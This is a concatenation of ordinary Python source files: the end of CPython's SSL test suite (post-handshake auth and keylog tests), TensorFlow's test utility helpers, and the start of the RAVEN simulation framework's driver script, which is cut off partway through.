client_context.post_handshake_auth = True client_context.load_cert_chain(SIGNED_CERTFILE) # check CERT_OPTIONAL server_context.verify_mode = ssl.CERT_OPTIONAL server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'FALSE\n') s.write(b'PHA') self.assertEqual(s.recv(1024), b'OK\n') s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'TRUE\n') def test_pha_optional_nocert(self): if support.verbose: sys.stdout.write("\n") client_context, server_context, hostname = testing_context() server_context.post_handshake_auth = True server_context.verify_mode = ssl.CERT_OPTIONAL client_context.post_handshake_auth = True server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'FALSE\n') s.write(b'PHA') self.assertEqual(s.recv(1024), b'OK\n') # optional doesn't fail when client does not have a cert s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'FALSE\n') def test_pha_no_pha_client(self): client_context, server_context, hostname = testing_context() server_context.post_handshake_auth = True server_context.verify_mode = ssl.CERT_REQUIRED client_context.load_cert_chain(SIGNED_CERTFILE) server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) with self.assertRaisesRegex(ssl.SSLError, 'not server'): s.verify_client_post_handshake() s.write(b'PHA') self.assertIn(b'extension not received', s.recv(1024)) def test_pha_no_pha_server(self): # server doesn't have PHA enabled, cert is requested in handshake client_context, server_context, hostname = testing_context() server_context.verify_mode = ssl.CERT_REQUIRED client_context.post_handshake_auth = True client_context.load_cert_chain(SIGNED_CERTFILE) server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'TRUE\n') # PHA doesn't fail if there is already a cert s.write(b'PHA') self.assertEqual(s.recv(1024), b'OK\n') s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'TRUE\n') def test_pha_not_tls13(self): # TLS 1.2 client_context, server_context, hostname = testing_context() server_context.verify_mode = ssl.CERT_REQUIRED client_context.maximum_version = ssl.TLSVersion.TLSv1_2 client_context.post_handshake_auth = True client_context.load_cert_chain(SIGNED_CERTFILE) server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) # PHA fails for TLS != 1.3 s.write(b'PHA') self.assertIn(b'WRONG_SSL_VERSION', s.recv(1024)) def test_bpo37428_pha_cert_none(self): # verify that post_handshake_auth does not implicitly enable cert # validation. hostname = SIGNED_CERTFILE_HOSTNAME client_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) client_context.post_handshake_auth = True client_context.load_cert_chain(SIGNED_CERTFILE) # no cert validation and CA on client side client_context.check_hostname = False client_context.verify_mode = ssl.CERT_NONE server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) server_context.load_cert_chain(SIGNED_CERTFILE) server_context.load_verify_locations(SIGNING_CA) server_context.post_handshake_auth = True server_context.verify_mode = ssl.CERT_REQUIRED server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'FALSE\n') s.write(b'PHA') self.assertEqual(s.recv(1024), b'OK\n') s.write(b'HASCERT') self.assertEqual(s.recv(1024), b'TRUE\n') # server cert has not been validated self.assertEqual(s.getpeercert(), {}) HAS_KEYLOG = hasattr(ssl.SSLContext, 'keylog_filename') requires_keylog = unittest.skipUnless( HAS_KEYLOG, 'test requires OpenSSL 1.1.1 with keylog callback') class TestSSLDebug(unittest.TestCase): def keylog_lines(self, fname=support.TESTFN): with open(fname) as f: return len(list(f)) @requires_keylog @unittest.skipIf(Py_DEBUG_WIN32, "Avoid mixing debug/release CRT on Windows") def test_keylog_defaults(self): self.addCleanup(support.unlink, support.TESTFN) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertEqual(ctx.keylog_filename, None) self.assertFalse(os.path.isfile(support.TESTFN)) ctx.keylog_filename = support.TESTFN self.assertEqual(ctx.keylog_filename, support.TESTFN) self.assertTrue(os.path.isfile(support.TESTFN)) self.assertEqual(self.keylog_lines(), 1) ctx.keylog_filename = None self.assertEqual(ctx.keylog_filename, None) with self.assertRaises((IsADirectoryError, PermissionError)): # Windows raises PermissionError ctx.keylog_filename = os.path.dirname( os.path.abspath(support.TESTFN)) with self.assertRaises(TypeError): ctx.keylog_filename = 1 @requires_keylog @unittest.skipIf(Py_DEBUG_WIN32, "Avoid mixing debug/release CRT on Windows") def test_keylog_filename(self): self.addCleanup(support.unlink, support.TESTFN) client_context, server_context, hostname = testing_context() client_context.keylog_filename = support.TESTFN server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) # header, 5 lines for TLS 1.3 self.assertEqual(self.keylog_lines(), 6) client_context.keylog_filename = None server_context.keylog_filename = support.TESTFN server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) self.assertGreaterEqual(self.keylog_lines(), 11) client_context.keylog_filename = support.TESTFN server_context.keylog_filename = support.TESTFN server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) self.assertGreaterEqual(self.keylog_lines(), 21) client_context.keylog_filename = None server_context.keylog_filename = None @requires_keylog @unittest.skipIf(sys.flags.ignore_environment, "test is not compatible with ignore_environment") @unittest.skipIf(Py_DEBUG_WIN32, "Avoid mixing debug/release CRT on Windows") def test_keylog_env(self): self.addCleanup(support.unlink, support.TESTFN) with unittest.mock.patch.dict(os.environ): os.environ['SSLKEYLOGFILE'] = support.TESTFN self.assertEqual(os.environ['SSLKEYLOGFILE'], support.TESTFN) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertEqual(ctx.keylog_filename, None) ctx = ssl.create_default_context() self.assertEqual(ctx.keylog_filename, support.TESTFN) ctx = ssl._create_stdlib_context() self.assertEqual(ctx.keylog_filename, support.TESTFN) def test_msg_callback(self): client_context, server_context, hostname = testing_context() def msg_cb(conn, direction, version, content_type, msg_type, data): pass self.assertIs(client_context._msg_callback, None) client_context._msg_callback = msg_cb self.assertIs(client_context._msg_callback, msg_cb) with self.assertRaises(TypeError): client_context._msg_callback = object() def test_msg_callback_tls12(self): client_context, server_context, hostname = testing_context() client_context.options |= ssl.OP_NO_TLSv1_3 msg = [] def msg_cb(conn, direction, version, content_type, msg_type, data): self.assertIsInstance(conn, ssl.SSLSocket) self.assertIsInstance(data, bytes) self.assertIn(direction, {'read', 'write'}) msg.append((direction, version, content_type, msg_type)) client_context._msg_callback = msg_cb server = ThreadedEchoServer(context=server_context, chatty=False) with server: with client_context.wrap_socket(socket.socket(), server_hostname=hostname) as s: s.connect((HOST, server.port)) self.assertIn( ("read", TLSVersion.TLSv1_2, _TLSContentType.HANDSHAKE, _TLSMessageType.SERVER_KEY_EXCHANGE), msg ) self.assertIn( ("write", TLSVersion.TLSv1_2, _TLSContentType.CHANGE_CIPHER_SPEC, _TLSMessageType.CHANGE_CIPHER_SPEC), msg ) def test_main(verbose=False): if support.verbose: plats = { 'Mac': platform.mac_ver, 'Windows': platform.win32_ver, } for name, func in plats.items(): plat = func() if plat and plat[0]: plat = '%s %r' % (name, plat) break else: plat = repr(platform.platform()) print("test_ssl: testing with %r %r" % (ssl.OPENSSL_VERSION, ssl.OPENSSL_VERSION_INFO)) print(" under %s" % plat) print(" HAS_SNI = %r" % ssl.HAS_SNI) print(" OP_ALL = 0x%8x" % ssl.OP_ALL) try: print(" OP_NO_TLSv1_1 = 0x%8x" % ssl.OP_NO_TLSv1_1) except AttributeError: pass for filename in [ CERTFILE, BYTES_CERTFILE, ONLYCERT, ONLYKEY, BYTES_ONLYCERT, BYTES_ONLYKEY, SIGNED_CERTFILE, SIGNED_CERTFILE2, SIGNING_CA, BADCERT, BADKEY, EMPTYCERT]: if not os.path.exists(filename): raise support.TestFailed("Can't read certificate file %r" % filename) tests = [ ContextTests, BasicSocketTests, SSLErrorTests, MemoryBIOTests, SSLObjectTests, SimpleBackgroundTests, ThreadedTests, TestPostHandshakeAuth, TestSSLDebug ] if support.is_resource_enabled('network'): tests.append(NetworkedTests) thread_info = support.threading_setup() try: support.run_unittest(*tests) finally: support.threading_cleanup(*thread_info) if __name__ == "__main__": test_main()
test_util.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== # pylint: disable=invalid-name """Test utils for tensorflow.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import contextlib import math import re import sys import threading import numpy as np import six from google.protobuf import text_format from tensorflow.core.framework import graph_pb2 from tensorflow.core.protobuf import config_pb2 from tensorflow.python import pywrap_tensorflow from tensorflow.python.client import session from tensorflow.python.framework import device as pydev from tensorflow.python.framework import errors from tensorflow.python.framework import ops from tensorflow.python.framework import versions from tensorflow.python.platform import googletest from tensorflow.python.platform import tf_logging as logging from tensorflow.python.util import compat from tensorflow.python.util.protobuf import compare def assert_ops_in_graph(expected_ops, graph): """Assert all expected operations are found. Args: expected_ops: `dict<string, string>` of op name to op type. graph: Graph to check. Returns: `dict<string, node>` of node name to node. Raises: ValueError: If the expected ops are not present in the graph. """ actual_ops = {} gd = graph.as_graph_def() for node in gd.node: if node.name in expected_ops: if expected_ops[node.name] != node.op: raise ValueError( "Expected op for node %s is different. %s vs %s" % ( node.name, expected_ops[node.name], node.op)) actual_ops[node.name] = node if set(expected_ops.keys()) != set(actual_ops.keys()): raise ValueError( "Not all expected ops are present. Expected %s, found %s" % ( expected_ops.keys(), actual_ops.keys())) return actual_ops def assert_equal_graph_def(actual, expected): """Asserts that two `GraphDef`s are (mostly) the same. Compares two `GraphDef` protos for equality, ignoring versions and ordering of nodes, attrs, and control inputs. Node names are used to match up nodes between the graphs, so the naming of nodes must be consistent. Args: actual: The `GraphDef` we have. expected: The `GraphDef` we expected. Raises: AssertionError: If the `GraphDef`s do not match. TypeError: If either argument is not a `GraphDef`. """ if not isinstance(actual, graph_pb2.GraphDef): raise TypeError("Expected tf.GraphDef for actual, got %s" % type(actual).__name__) if not isinstance(expected, graph_pb2.GraphDef): raise TypeError("Expected tf.GraphDef for expected, got %s" % type(expected).__name__) diff = pywrap_tensorflow.EqualGraphDefWrapper(actual.SerializeToString(), expected.SerializeToString()) if diff: raise AssertionError(compat.as_str(diff)) def IsGoogleCudaEnabled(): return pywrap_tensorflow.IsGoogleCudaEnabled() def CudaSupportsHalfMatMulAndConv(): return pywrap_tensorflow.CudaSupportsHalfMatMulAndConv() class TensorFlowTestCase(googletest.TestCase): """Base class for tests that need to test TensorFlow. """ def __init__(self, methodName="runTest"): super(TensorFlowTestCase, self).__init__(methodName) self._threads = [] self._tempdir = None self._cached_session = None def setUp(self): self._ClearCachedSession() ops.reset_default_graph() def tearDown(self): for thread in self._threads: self.assertFalse(thread.is_alive(), "A checkedThread did not terminate") self._ClearCachedSession() def _ClearCachedSession(self): if self._cached_session is not None: self._cached_session.close() self._cached_session = None def get_temp_dir(self): if not self._tempdir: self._tempdir = googletest.GetTempDir() return self._tempdir def _AssertProtoEquals(self, a, b): """Asserts that a and b are the same proto. Uses ProtoEq() first, as it returns correct results for floating point attributes, and then use assertProtoEqual() in case of failure as it provides good error messages. Args: a: a proto. b: another proto. """ if not compare.ProtoEq(a, b): compare.assertProtoEqual(self, a, b, normalize_numbers=True) def assertProtoEquals(self, expected_message_maybe_ascii, message): """Asserts that message is same as parsed expected_message_ascii. Creates another prototype of message, reads the ascii message into it and then compares them using self._AssertProtoEqual(). Args: expected_message_maybe_ascii: proto message in original or ascii form message: the message to validate """ if type(expected_message_maybe_ascii) == type(message): expected_message = expected_message_maybe_ascii self._AssertProtoEquals(expected_message, message) elif isinstance(expected_message_maybe_ascii, str): expected_message = type(message)() text_format.Merge(expected_message_maybe_ascii, expected_message) self._AssertProtoEquals(expected_message, message) else: assert False, ("Can't compare protos of type %s and %s" % (type(expected_message_maybe_ascii), type(message))) def assertProtoEqualsVersion( self, expected, actual, producer=versions.GRAPH_DEF_VERSION, min_consumer=versions.GRAPH_DEF_VERSION_MIN_CONSUMER): expected = "versions { producer: %d min_consumer: %d };\n%s" % ( producer, min_consumer, expected) self.assertProtoEquals(expected, actual) def assertStartsWith(self, actual, expected_start, msg=None): """Assert that actual.startswith(expected_start) is True. Args: actual: str expected_start: str msg: Optional message to report on failure. """ if not actual.startswith(expected_start): fail_msg = "%r does not start with %r" % (actual, expected_start) fail_msg += " : %r" % (msg) if msg else "" self.fail(fail_msg) # pylint: disable=g-doc-return-or-yield @contextlib.contextmanager def test_session(self, graph=None, config=None, use_gpu=False, force_gpu=False): """Returns a TensorFlow Session for use in executing tests. This method should be used for all functional tests. Use the `use_gpu` and `force_gpu` options to control where ops are run. If `force_gpu` is True, all ops are pinned to `/gpu:0`. Otherwise, if `use_gpu` is True, TensorFlow tries to run as many ops on the GPU as possible. If both `force_gpu and `use_gpu` are False, all ops are pinned to the CPU. Example: class MyOperatorTest(test_util.TensorFlowTestCase): def testMyOperator(self): with self.test_session(use_gpu=True): valid_input = [1.0, 2.0, 3.0, 4.0, 5.0] result = MyOperator(valid_input).eval() self.assertEqual(result, [1.0, 2.0, 3.0, 5.0, 8.0] invalid_input = [-1.0, 2.0, 7.0] with self.assertRaisesOpError("negative input not supported"): MyOperator(invalid_input).eval() Args: graph: Optional graph to use during the returned session. config: An optional config_pb2.ConfigProto to use to configure the session. use_gpu: If True, attempt to run as many ops as possible on GPU. force_gpu: If True, pin all ops to `/gpu:0`. Returns: A Session object that should be used as a context manager to surround the graph building and execution code in a test case. """ if self.id().endswith(".test_session"): self.skipTest("Not a test.") def prepare_config(config): if config is None: config = config_pb2.ConfigProto() config.allow_soft_placement = not force_gpu config.gpu_options.per_process_gpu_memory_fraction = 0.3 elif force_gpu and config.allow_soft_placement: config = config_pb2.ConfigProto().CopyFrom(config) config.allow_soft_placement = False # Don't perform optimizations for tests so we don't inadvertently run # gpu ops on cpu config.graph_options.optimizer_options.opt_level = -1 return config if graph is None: if self._cached_session is None: self._cached_session = session.Session(graph=None, config=prepare_config(config)) sess = self._cached_session with sess.graph.as_default(), sess.as_default(): if force_gpu: with sess.graph.device("/gpu:0"): yield sess elif use_gpu: yield sess else: with sess.graph.device("/cpu:0"): yield sess else: with session.Session(graph=graph, config=prepare_config(config)) as sess: if force_gpu: with sess.graph.device("/gpu:0"): yield sess elif use_gpu: yield sess else: with sess.graph.device("/cpu:0"): yield sess # pylint: enable=g-doc-return-or-yield class _CheckedThread(object): """A wrapper class for Thread that asserts successful completion. This class should be created using the TensorFlowTestCase.checkedThread() method. """ def __init__(self, testcase, target, args=None, kwargs=None): """Constructs a new instance of _CheckedThread. Args: testcase: The TensorFlowTestCase for which this thread is being created. target: A callable object representing the code to be executed in the thread. args: A tuple of positional arguments that will be passed to target. kwargs: A dictionary of keyword arguments that will be passed to target. """ self._testcase = testcase self._target = target self._args = () if args is None else args self._kwargs = {} if kwargs is None else kwargs self._thread = threading.Thread(target=self._protected_run) self._exception = None def _protected_run(self): """Target for the wrapper thread. Sets self._exception on failure.""" try: self._target(*self._args, **self._kwargs) except Exception as e: # pylint: disable=broad-except self._exception = e def start(self): """Starts the thread's activity. This must be called at most once per _CheckedThread object. It arranges for the object's target to be invoked in a separate thread of control. """ self._thread.start() def join(self): """Blocks until the thread terminates. Raises: self._testcase.failureException: If the thread terminates with due to an exception. """ self._thread.join() if self._exception is not None: self._testcase.fail( "Error in checkedThread: %s" % str(self._exception)) def is_alive(self): """Returns whether the thread is alive. This method returns True just before the run() method starts until just after the run() method terminates. Returns: True if the thread is alive, otherwise False. """ return self._thread.is_alive() def checkedThread(self, target, args=None, kwargs=None): """Returns a Thread wrapper that asserts 'target' completes successfully. This method should be used to create all threads in test cases, as otherwise there is a risk that a thread will silently fail, and/or assertions made in the thread will not be respected. Args: target: A callable object to be executed in the thread. args: The argument tuple for the target invocation. Defaults to (). kwargs: A dictionary of keyword arguments for the target invocation. Defaults to {}. Returns: A wrapper for threading.Thread that supports start() and join() methods. """ ret = TensorFlowTestCase._CheckedThread(self, target, args, kwargs) self._threads.append(ret) return ret # pylint: enable=invalid-name def assertNear(self, f1, f2, err, msg=None): """Asserts that two floats are near each other. Checks that |f1 - f2| < err and asserts a test failure if not. Args: f1: A float value. f2: A float value. err: A float value. msg: An optional string message to append to the failure message. """ self.assertTrue(math.fabs(f1 - f2) <= err, "%f != %f +/- %f%s" % ( f1, f2, err, " (%s)" % msg if msg is not None else "")) def assertArrayNear(self, farray1, farray2, err): """Asserts that two float arrays are near each other. Checks that for all elements of farray1 and farray2 |f1 - f2| < err. Asserts a test failure if not. Args: farray1: a list of float values. farray2: a list of float values. err: a float value. """ self.assertEqual(len(farray1), len(farray2)) for f1, f2 in zip(farray1, farray2): self.assertNear(float(f1), float(f2), err) def _NDArrayNear(self, ndarray1, ndarray2, err): return np.linalg.norm(ndarray1 - ndarray2) < err def assertNDArrayNear(self, ndarray1, ndarray2, err): """Asserts that two numpy arrays have near values. Args: ndarray1: a numpy ndarray. ndarray2: a numpy ndarray. err: a float. The maximum absolute difference allowed. """ self.assertTrue(self._NDArrayNear(ndarray1, ndarray2, err)) def _GetNdArray(self, a): if not isinstance(a, np.ndarray): a = np.array(a) return a def assertAllClose(self, a, b, rtol=1e-6, atol=1e-6): """Asserts that two numpy arrays have near values. Args: a: a numpy ndarray or anything can be converted to one. b: a numpy ndarray or anything can be converted to one. rtol: relative tolerance atol: absolute tolerance """ a = self._GetNdArray(a) b = self._GetNdArray(b) self.assertEqual( a.shape, b.shape, "Shape mismatch: expected %s, got %s." % (a.shape, b.shape)) if not np.allclose(a, b, rtol=rtol, atol=atol): # Prints more details than np.testing.assert_allclose. # # NOTE: numpy.allclose (and numpy.testing.assert_allclose) # checks whether two arrays are element-wise equal within a # tolerance. The relative difference (rtol * abs(b)) and the # absolute difference atol are added together to compare against # the absolute difference between a and b. Here, we want to # print out which elements violate such conditions. cond = np.abs(a - b) > atol + rtol * np.abs(b) if a.ndim: x = a[np.where(cond)] y = b[np.where(cond)] print("not close where = ", np.where(cond)) else: # np.where is broken for scalars x, y = a, b print("not close lhs = ", x) print("not close rhs = ", y) print("not close dif = ", np.abs(x - y)) print("not close tol = ", atol + rtol * np.abs(y)) np.testing.assert_allclose(a, b, rtol=rtol, atol=atol) def assertAllCloseAccordingToType(self, a, b, rtol=1e-6, atol=1e-6): """Like assertAllClose, but also suitable for comparing fp16 arrays. In particular, the tolerance is reduced to 1e-3 if at least one of the arguments is of type float16. Args: a: a numpy ndarray or anything can be converted to one. b: a numpy ndarray or anything can be converted to one. rtol: relative tolerance atol: absolute tolerance """ a = self._GetNdArray(a) b = self._GetNdArray(b) if a.dtype == np.float16 or b.dtype == np.float16: rtol = max(rtol, 1e-3) atol = max(atol, 1e-3) self.assertAllClose(a, b, rtol=rtol, atol=atol) def assertAllEqual(self, a, b): """Asserts that two numpy arrays have the same values. Args: a: a numpy ndarray or anything can be converted to one. b: a numpy ndarray or anything can be converted to one. """ a = self._GetNdArray(a) b = self._GetNdArray(b) self.assertEqual( a.shape, b.shape, "Shape mismatch: expected %s, got %s." % (a.shape, b.shape)) same = (a == b) if a.dtype == np.float32 or a.dtype == np.float64: same = np.logical_or(same, np.logical_and(np.isnan(a), np.isnan(b))) if not np.all(same): # Prints more details than np.testing.assert_array_equal. diff = np.logical_not(same) if a.ndim: x = a[np.where(diff)] y = b[np.where(diff)] print("not equal where = ", np.where(diff)) else: # np.where is broken for scalars x, y = a, b print("not equal lhs = ", x) print("not equal rhs = ", y) np.testing.assert_array_equal(a, b) # pylint: disable=g-doc-return-or-yield @contextlib.contextmanager def assertRaisesWithPredicateMatch(self, exception_type, expected_err_re_or_predicate): """Returns a context manager to enclose code expected to raise an exception. Args: exception_type: The expected type of exception that should be raised. expected_err_re_or_predicate: If this is callable, it should be a function of one argument that inspects the passed-in OpError exception and returns True (success) or False (please fail the test). Otherwise, the error message is expected to match this regular expression partially. Returns: A context manager to surround code that is expected to raise an errors.OpError exception. """ if callable(expected_err_re_or_predicate): predicate = expected_err_re_or_predicate else: def predicate(e): err_str = e.message op = e.op while op is not None: err_str += "\nCaused by: " + op.name op = op._original_op logging.info("Searching within error strings: '%s' within '%s'", expected_err_re_or_predicate, err_str) return re.search(expected_err_re_or_predicate, err_str) try: yield self.fail(exception_type.__name__ + " not raised") except Exception as e: # pylint: disable=broad-except if not isinstance(e, exception_type) or not predicate(e): raise AssertionError(e) # pylint: enable=g-doc-return-or-yield def assertRaisesOpError(self, expected_err_re_or_predicate): return self.assertRaisesWithPredicateMatch(errors.OpError, expected_err_re_or_predicate) def assertShapeEqual(self, np_array, tf_tensor): """Asserts that a Numpy ndarray and a TensorFlow tensor have the same shape. Args: np_array: A Numpy ndarray or Numpy scalar. tf_tensor: A Tensor. Raises: TypeError: If the arguments have the wrong type. """ if not isinstance(np_array, (np.ndarray, np.generic)): raise TypeError("np_array must be a Numpy ndarray or Numpy scalar") if not isinstance(tf_tensor, ops.Tensor): raise TypeError("tf_tensor must be a Tensor") self.assertAllEqual(np_array.shape, tf_tensor.get_shape().as_list()) def assertDeviceEqual(self, device1, device2): """Asserts that the two given devices are the same. Args: device1: A string device name or TensorFlow `DeviceSpec` object. device2: A string device name or TensorFlow `DeviceSpec` object. """ device1 = pydev.canonical_name(device1) device2 = pydev.canonical_name(device2) self.assertEqual(device1, device2, "Devices %s and %s are not equal" % (device1, device2)) # Fix Python 3 compatibility issues if six.PY3: # Silence a deprecation warning assertRaisesRegexp = googletest.TestCase.assertRaisesRegex # assertItemsEqual is assertCountEqual as of 3.2. assertItemsEqual = googletest.TestCase.assertCountEqual
Driver.py
#!/usr/bin/env python # Copyright 2017 Battelle Energy Alliance, LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Created on Feb 20, 2013 @authors: crisr, aalfonsi, mandd, wangc, cogljj, talbpaul, maljdan This is the Driver of RAVEN """ from __future__ import division, print_function, unicode_literals, absolute_import # if in debug mode, activate deprication warnings ## TODO does this need to be done in all modules, or just this one? import warnings if not __debug__: warnings.filterwarnings("ignore") else: warnings.simplefilter("default", DeprecationWarning) import os import sys import time import threading import traceback import xml.etree.ElementTree as ET import builtins try: builtins.profile except (AttributeError,ImportError): # profiler not preset, so pass through builtins.profile = lambda f: f #warning: this needs to be before importing h5py os.environ["MV2_ENABLE_AFFINITY"]="0" frameworkDir = os.path.dirname(os.path.abspath(__file__)) # library handler is in scripts sys.path.append(os.path.join(frameworkDir, '..', "scripts")) import library_handler as LH sys.path.pop() #remove scripts path for cleanliness from utils import utils import utils.TreeStructure as TS utils.find_crow(frameworkDir) utils.add_path(os.path.join(frameworkDir,'contrib','AMSC')) utils.add_path(os.path.join(frameworkDir,'contrib')) ##TODO REMOVE PP3 WHEN RAY IS AVAILABLE FOR WINDOWS utils.add_path_recursively(os.path.join(frameworkDir,'contrib','pp')) #Internal Modules from Simulation import Simulation from Application import __QtAvailable from Interaction import Interaction #Internal Modules #------------------------------------------------------------- Driver def printStatement(): """ Method to print the BEA header @ In, None @ Out, None """ print(""" Copyright 2017 Battelle Energy Alliance, LLC Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """) def printLogo(): """ Method to print a RAVEN logo @ In, None @ Out, None """ print(""" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .---. .------###### ##### ### ### ######## ### ### / \ __ / --### ### ### ### ### ### ### ##### ### / / \( )/ --### ### ### ### ### ### ###### ### ###### ////// ' \/ ` --####### ######### ### ### ### ### ##### //// / // : : -### ### ### ### ###### #### ### #### // / / /` '---### ### ### ### ### ######## ### ### // //..\\ ===========UU====UU============================================================= '//||\\` ''`` """) def checkVersions(): """ Method to check if versions of modules are new enough. Will call sys.exit if they are not in the range specified. @ In, None @ Out, None """ # if libraries are not to be checked, we're done here if not LH.checkVersions(): return # otherwise, we check for incorrect libraries missing, notQA = LH.checkLibraries() if missing: print('ERROR: Some required Python libraries are missing but required to run RAVEN as configured:') for lib, version in missing: # report the missing library msg = ' -> MISSING: {}'.format(lib) # add the required version if applicable if version is not None: msg += ' version {}'.format(version) print(msg) if notQA: print('ERROR: Some required Python libraries have incorrect versions for running RAVEN as configured:') for lib, found, need in notQA: print(' -> WRONG VERSION: lib "{}" need "{}" but found "{}"'.format(lib, found, need)) if missing or notQA: print('Try installing libraries using instructions on RAVEN repository wiki at ' + 'https://github.com/idaholab/raven/wiki/Installing_RAVEN_Libraries.') sys.exit(-4) else: print('RAVEN Python dependencies located and checked.') # TODO give a warning for missing libs even if skipping check? # -> this is slow, so maybe not. if __name__ == '__main__': """This is the main driver for the RAVEN framework""" # Retrieve the framework directory path and working dir printLogo() printStatement() checkVersions() verbosity = 'all' interfaceCheck = False interactive = Interaction.No workingDir = os.getcwd() ## Remove duplicate command line options and preserve order so if they try ## conflicting options, the last one will take precedence. sys.argv = utils.removeDuplicates(sys.argv) itemsToRemove = [] for item in sys.argv: # I don't think these do anything. - talbpaul, 2017-10 if item.lower() in ['silent','quiet','all']: verbosity = item.lower() itemsToRemove.append(item) elif item.lower() == 'interfacecheck': interfaceCheck = True itemsToRemove.append(item) elif item.lower() == 'interactive': if __QtAvailable: interactive = Interaction.Yes else: print('Qt is not available, disabling interactive mode.\n') itemsToRemove.append(item) elif item.lower() == 'interactivecheck': if __QtAvailable: interactive = Interaction.Test else: print('Qt is not available, disabling interactive check.\n') itemsToRemove.append(item) ## Now outside of the loop iterating on the object we want to modify, we are ## safe to remove each of the items for item in itemsToRemove: sys.argv.remove(item) if interfaceCheck: os.environ['RAVENinterfaceCheck'] = 'True' print('Interface CHECK activated!\n') else: os.environ['RAVENinterfaceCheck'] = 'False' simulation = Simulation(frameworkDir, verbosity=verbosity, interactive=interactive) #If a configuration file exists, read it in configFile = os.path.join(os.path.expanduser("~"),".raven","default_runinfo.xml") if os.path.exists(configFile): tree = ET.parse(configFile) root = tree.getroot() if root.tag == 'Simulation' and [x.tag for x in root] == ["RunInfo"]: simulation.XMLread(root,runInfoSkip=set(["totNumCoresUsed"]),xmlFilename=configFile) else: e=IOError('DRIVER',str(configFile)+' should only have Simulation and inside it RunInfo') print('\nERROR! In Driver,',e,'\n') sys.exit(1) # Find the XML input file if len(sys.argv) == 1: #NOTE: This can be overriden at the command line: # python Driver.py anotherFile.xml # or in the configuration file by DefaultInputFile inputFiles = [simulation.getDefaultInputFile()] else: inputFiles = sys.argv[1:] for i in range(len(inputFiles)): if not os.path.isabs(inputFiles[i]): inputFiles[i] = os.path.join(workingDir,inputFiles[i]) simulation.setInputFiles(inputFiles) #Parse the input #For future developers of this block, assure that useful, informative exceptions # are still thrown while parsing the XML tree. Otherwise any error made by # the developer or user might be obfuscated. for inputFile in inputFiles: try: tree = TS.parse(open(inputFile,'r')) except TS.InputParsingError as e: print('\nInput Parsing error!',e,'\n') sys.exit(1) #except? riseanIOError('not possible to parse (xml based) the input file '+inputFile) if verbosity=='debug': print('DRIVER','opened file '+inputFile) root = tree.getroot() if root.tag != 'Simulation': e=IOError('The outermost block of the input file '+inputFile+' it is not Simulation') print('\nInput XML Error!',e,'\n') sys.exit(1) # call the function to load the external xml files into the input tree cwd = os.path.dirname(os.path.abspath(inputFile)) simulation.XMLpreprocess(root,cwd) #generate all the components of the simulation #Call the function to read and construct each single module of the simulation simulation.XMLread(root,runInfoSkip=set(["DefaultInputFile"]),xmlFilename=inputFile) def raven(): """ A worker function that allows the computation of the main RAVEN execution to be offloaded to another thread, freeing the main thread for UI interaction (Qt requires UI to be handled on the main thread of execution) """ simulation.initialize() simulation.run() ## If there is an associated UI application, then we can quit it now that ## we are done, the main thread does not know when this done presumably ## because this thread still is technically running as long as the app, ## which both threads can see, has not called quit. Otherwise, we could do ## this after the while loop below. if simulation.app is not None: simulation.app.quit() if simulation.app is not None: try: ## Create the thread that will run RAVEN, and make sure that it will die if ## the main thread dies by making it a daemon, then start it up ravenThread = threading.Thread(target=raven) ravenThread.daemon = True ravenThread.start() ## If there is an associated application, then we can start it up now as ## well. It will listen for UI update requests from the ravenThread. if 